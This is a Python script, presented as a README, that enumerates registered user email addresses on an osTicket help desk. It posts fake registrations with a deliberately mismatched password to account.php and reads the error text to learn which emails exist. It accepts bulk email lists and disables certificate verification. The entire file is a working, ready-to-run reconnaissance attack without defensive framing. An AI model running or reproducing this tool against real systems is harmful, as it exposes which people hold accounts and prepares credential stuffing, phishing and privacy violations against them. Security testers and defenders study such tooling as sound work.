README.md
Rendering markdown...
#!/usr/bin/env python3
"""
osTicket Registered User Enumeration
=====================================
Attempts to fake register one or more user accounts via the account.php endpoint to determine if they already exist.
Usage: python osticket_registered_user_enum.py <base_url> [email1] [email2...] [--file <path_to_file>]
Example:
python osticket_registered_user_enum.py http://osticket.example.com [email protected] [email protected] ...
python osticket_registered_user_enum.py http://osticket.example.com --file emails.txt
"""
import sys
import re
import argparse
import random
import string
from urllib.parse import urljoin, urlparse
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
# Suppress InsecureRequestWarning for self-signed certs
requests.packages.urllib3.disable_warnings()
class Colors:
"""ANSI color codes for terminal output"""
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
def print_banner():
"""Print script banner"""
print(f"{Colors.HEADER}{Colors.BOLD}")
print("=" * 70)
print("osTicket Account Auto-Registration Script")
print("=" * 70)
print(f"{Colors.ENDC}")
def create_session():
"""Create a requests session with retry logic"""
session = requests.Session()
retry = Retry(total=3, backoff_factor=0.5, status_forcelist=[500, 502, 503, 504])
adapter = HTTPAdapter(max_retries=retry)
session.mount('http://', adapter)
session.mount('https://', adapter)
session.verify = False # Ignore SSL certificate errors
return session
def extract_csrf_token(content):
"""Extract __CSRFToken__ from HTML content"""
match = re.search(r'name=["\']__CSRFToken__["\'][^>]*value=["\']([^"\']+)["\']', content)
return match.group(1) if match else None
def generate_password(length=12):
"""Generate a random password with letters, digits, and symbols"""
characters = string.ascii_letters + string.digits + string.punctuation
return ''.join(random.choice(characters) for i in range(length))
def register_account(base_url, email, session):
"""
Attempts to register a single account.
Returns (success: bool, message: str)
"""
print(f"\n{Colors.OKBLUE}[*] Attempting to register: {email}{Colors.ENDC}")
account_url = urljoin(base_url, 'account.php')
try:
# 1. GET the page to get a valid session cookie and CSRF token
print(" - Fetching registration form and CSRF token...")
resp_get = session.get(account_url, verify=False)
if resp_get.status_code != 200:
return False, f"Failed to load account page (HTTP {resp_get.status_code})"
content = resp_get.text
csrf_token = extract_csrf_token(content)
if not csrf_token:
return False, "Could not find CSRF token. Is registration enabled?"
# 2. Prepare registration data
password = generate_password()
# Derive a name from the email address
name = email.split('@')[0].replace('.', ' ').title()
payload = {
'do': 'create',
'__CSRFToken__': csrf_token,
'name': 'somename',
'email': email,
'passwd1': password,
'passwd2': '',
'backend': 'client'
}
print(f" - Submitting registration for user '{name}'...")
# 3. POST the registration form
resp_post = session.post(account_url, data=payload, verify=False)
# 4. Analyze the response
response_content = resp_post.text
if "Errors configuring your profile." in response_content:
return False, f"{Colors.WARNING}✗ Email {email} does not exist.{Colors.ENDC}"
elif "Email already registered" in response_content:
return False, f"{Colors.OKGREEN}✗ Email {email} exists.{Colors.ENDC}"
else:
print(response_content)
return False, f"{Colors.FAIL}✗ Unexpected error, check response{Colors.ENDC}"
except requests.RequestException as e:
return False, f"{Colors.FAIL}✗ Network error: {e}{Colors.ENDC}"
def main():
parser = argparse.ArgumentParser(
description='Auto-register osTicket accounts.',
epilog='Example: python enumerate_registered_users.py http://osticket.example.com [email protected]'
)
parser.add_argument('base_url', help='Base URL of the osTicket installation (e.g., http://osticket.example.com)')
parser.add_argument('emails', nargs='*', help='One or more email addresses to check')
parser.add_argument('--file', '-f', help='File containing a list of email addresses, one per line')
parser.add_argument('--no-color', action='store_true', help='Disable colored output')
args = parser.parse_args()
if args.no_color:
for attr in dir(Colors):
if not attr.startswith('_'):
setattr(Colors, attr, '')
base_url = args.base_url
if not base_url.endswith('/'):
base_url += '/'
parsed_url = urlparse(base_url)
if not parsed_url.scheme or not parsed_url.netloc:
print(f"{Colors.FAIL}[!] Invalid URL provided. Please include http:// or https://{Colors.ENDC}")
sys.exit(1)
emails_to_register = []
if args.file:
try:
with open(args.file, 'r') as f:
emails_from_file = [line.strip() for line in f if line.strip()]
emails_to_register.extend(emails_from_file)
print(f"{Colors.OKCYAN}[i] Loaded {len(emails_from_file)} email(s) from {args.file}{Colors.ENDC}")
except FileNotFoundError:
print(f"{Colors.FAIL}[!] Error: File not found at '{args.file}'{Colors.ENDC}")
sys.exit(1)
emails_to_register.extend(args.emails)
if not emails_to_register:
print(f"{Colors.FAIL}[!] No emails provided. Use positional arguments or the --file option.{Colors.ENDC}")
parser.print_help()
sys.exit(1)
print_banner()
print(f"Target: {Colors.BOLD}{base_url}{Colors.ENDC}")
session = create_session()
for email in emails_to_register:
success, message = register_account(base_url, email, session)
print(f" {message}")
print(f"\n{Colors.OKBLUE}[*] Script finished.{Colors.ENDC}")
if __name__ == '__main__':
main()